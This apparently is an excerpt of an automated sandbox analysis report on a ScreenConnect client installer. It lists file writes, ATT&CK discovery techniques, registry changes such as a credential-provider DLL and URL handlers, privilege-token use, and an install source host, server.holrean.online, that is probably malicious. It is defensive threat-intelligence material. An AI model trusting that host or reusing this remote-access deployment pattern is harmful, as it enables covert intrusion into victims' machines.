File opened for modification	C:\Windows\Installer\MSI7B97.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI75C9.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI75C9.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI7869.tmp	msiexec.exe
File created	C:\Windows\Installer\{841FD94C-1D9F-C2AA-16C1-F7831C34F3A7}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI52AF.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI7490.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI7D3E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{99607F2D-98D1-9AFA-7F39-7BC70A48F7AB}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI52AF.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI52AF.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI52AF.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7490.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7490.tmp-\CustomAction.config	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI7984.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{841FD94C-1D9F-C2AA-16C1-F7831C34F3A7}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI52AF.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7490.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI7490.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File created	C:\Windows\Installer\{99607F2D-98D1-9AFA-7F39-7BC70A48F7AB}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI75C9.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI75C9.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI75C9.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\Installer\wix{841FD94C-1D9F-C2AA-16C1-F7831C34F3A7}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\MSI7490.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2284	msedge.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	PowerShell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Desktop\WindowMetrics\MinWidth = "0"	ScreenConnect.WindowsBackstageShell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	PowerShell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)"	PowerShell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Desktop\WindowMetrics\MinVertGap = "0"	ScreenConnect.WindowsBackstageShell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	PowerShell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	PowerShell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	PowerShell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	PowerShell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	PowerShell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\Owner = 0c1600005839fa82e20edd01	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	PowerShell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	PowerShell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	PowerShell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	PowerShell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	PowerShell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsBackstageShell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	PowerShell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	PowerShell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\fveui.dll,-844 = "BitLocker Data Recovery Agent"	PowerShell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsBackstageShell.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134279929791544052"	msedge.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Mouse\MouseHoverTime = "750"	ScreenConnect.WindowsBackstageShell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	PowerShell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	PowerShell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerShell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerShell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-09af6a8051d3c228	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D2F706991D89AFA9F793B77CA0847FBA	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D2F706991D89AFA9F793B77CA0847FBA\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D2F706991D89AFA9F793B77CA0847FBA\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D2F706991D89AFA9F793B77CA0847FBA\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-54a6d47a28eeb247\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-54a6d47a28eeb247\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (54a6d47a28eeb247)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\C49DF148F9D1AA2C611C7F38C1433F7A	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-09af6a8051d3c228	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-09af6a8051d3c228\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-11FD-23AF22C568AA}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D2F706991D89AFA9F793B77CA0847FBA\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-54a6d47a28eeb247	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C49DF148F9D1AA2C611C7F38C1433F7A\Version = "402849799"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C49DF148F9D1AA2C611C7F38C1433F7A\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-668679576-120646659-2289335452-1000\{5493965A-2451-436F-BDE4-9C1349E15F6C}	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D2F706991D89AFA9F793B77CA0847FBA\PackageCode = "D2F706991D89AFA9F793B77CA0847FBA"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-54a6d47a28eeb247\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-B870-69F104C4C5D8}\ = "ScreenConnect Client (54a6d47a28eeb247) Credential Provider"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C49DF148F9D1AA2C611C7F38C1433F7A\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-09af6a8051d3c228\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-11FD-23AF22C568AA}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (09af6a8051d3c228)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\E73B5DC74B5B53BD90FAA608153D2C82\D2F706991D89AFA9F793B77CA0847FBA	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D2F706991D89AFA9F793B77CA0847FBA\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C49DF148F9D1AA2C611C7F38C1433F7A\ProductIcon = "C:\\Windows\\Installer\\{841FD94C-1D9F-C2AA-16C1-F7831C34F3A7}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C49DF148F9D1AA2C611C7F38C1433F7A\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C49DF148F9D1AA2C611C7F38C1433F7A\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C49DF148F9D1AA2C611C7F38C1433F7A\SourceList\LastUsedSource = "u;1;http://server.holrean.online/Bin/"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-11FD-23AF22C568AA}\InprocServer32	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D2F706991D89AFA9F793B77CA0847FBA\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C49DF148F9D1AA2C611C7F38C1433F7A\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DDACA60B3BE8C9E2456A4DA782EE2B74	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C49DF148F9D1AA2C611C7F38C1433F7A\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-09af6a8051d3c228\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D2F706991D89AFA9F793B77CA0847FBA\Version = "436404235"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-54a6d47a28eeb247\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-B870-69F104C4C5D8}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (54a6d47a28eeb247)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C49DF148F9D1AA2C611C7F38C1433F7A\ProductName = "ScreenConnect Client (54a6d47a28eeb247)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-09af6a8051d3c228\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-09af6a8051d3c228\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (09af6a8051d3c228)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D2F706991D89AFA9F793B77CA0847FBA\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D2F706991D89AFA9F793B77CA0847FBA\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-B870-69F104C4C5D8}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C49DF148F9D1AA2C611C7F38C1433F7A\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D2F706991D89AFA9F793B77CA0847FBA\ProductName = "ScreenConnect Client (09af6a8051d3c228)"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\E73B5DC74B5B53BD90FAA608153D2C82	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C49DF148F9D1AA2C611C7F38C1433F7A	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C49DF148F9D1AA2C611C7F38C1433F7A\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-11FD-23AF22C568AA}\ = "ScreenConnect Client (09af6a8051d3c228) Credential Provider"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-54a6d47a28eeb247\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-54a6d47a28eeb247\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-11FD-23AF22C568AA}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-54a6d47a28eeb247	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-B870-69F104C4C5D8}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\C49DF148F9D1AA2C611C7F38C1433F7A\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C49DF148F9D1AA2C611C7F38C1433F7A\PackageCode = "C49DF148F9D1AA2C611C7F38C1433F7A"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-09af6a8051d3c228\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-54a6d47a28eeb247\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C49DF148F9D1AA2C611C7F38C1433F7A\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C49DF148F9D1AA2C611C7F38C1433F7A\SourceList\PackageName = "ScreenConnect.ClientSetup.msi?e=Access&y=Guest&c=BAT&c=&c=&c=&c=&c=&c=&c="	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C49DF148F9D1AA2C611C7F38C1433F7A\SourceList\URL	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D2F706991D89AFA9F793B77CA0847FBA	msiexec.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4452	powershell.exe
4452	powershell.exe
4452	powershell.exe
5324	powershell.exe
5324	powershell.exe
5324	powershell.exe
5696	powershell.exe
5696	powershell.exe
5696	powershell.exe
5948	powershell.exe
5948	powershell.exe
5948	powershell.exe
5644	msiexec.exe
5644	msiexec.exe
5236	powershell.exe
5236	powershell.exe
5236	powershell.exe
5644	msiexec.exe
5644	msiexec.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
5268	powershell.exe
5268	powershell.exe
5268	powershell.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
5756	PowerShell.exe
5756	PowerShell.exe
5756	PowerShell.exe
5644	msiexec.exe
5644	msiexec.exe
5308	ScreenConnect.ClientService.exe
5308	ScreenConnect.ClientService.exe
5308	ScreenConnect.ClientService.exe
5308	ScreenConnect.ClientService.exe
5308	ScreenConnect.ClientService.exe
5308	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
5408	msedge.exe
5408	msedge.exe
5308	ScreenConnect.ClientService.exe
5308	ScreenConnect.ClientService.exe
5308	ScreenConnect.ClientService.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe
1544	msedge.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
3544	ScreenConnect.WindowsClient.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4452	powershell.exe
Token: SeDebugPrivilege	5324	powershell.exe
Token: SeShutdownPrivilege	5572	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5572	msiexec.exe
Token: SeSecurityPrivilege	5644	msiexec.exe
Token: SeCreateTokenPrivilege	5572	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5572	msiexec.exe
Token: SeLockMemoryPrivilege	5572	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5572	msiexec.exe
Token: SeMachineAccountPrivilege	5572	msiexec.exe
Token: SeTcbPrivilege	5572	msiexec.exe
Token: SeSecurityPrivilege	5572	msiexec.exe
Token: SeTakeOwnershipPrivilege	5572	msiexec.exe
Token: SeLoadDriverPrivilege	5572	msiexec.exe
Token: SeSystemProfilePrivilege	5572	msiexec.exe
Token: SeSystemtimePrivilege	5572	msiexec.exe
Token: SeProfSingleProcessPrivilege	5572	msiexec.exe
Token: SeIncBasePriorityPrivilege	5572	msiexec.exe
Token: SeCreatePagefilePrivilege	5572	msiexec.exe
Token: SeCreatePermanentPrivilege	5572	msiexec.exe
Token: SeBackupPrivilege	5572	msiexec.exe
Token: SeRestorePrivilege	5572	msiexec.exe
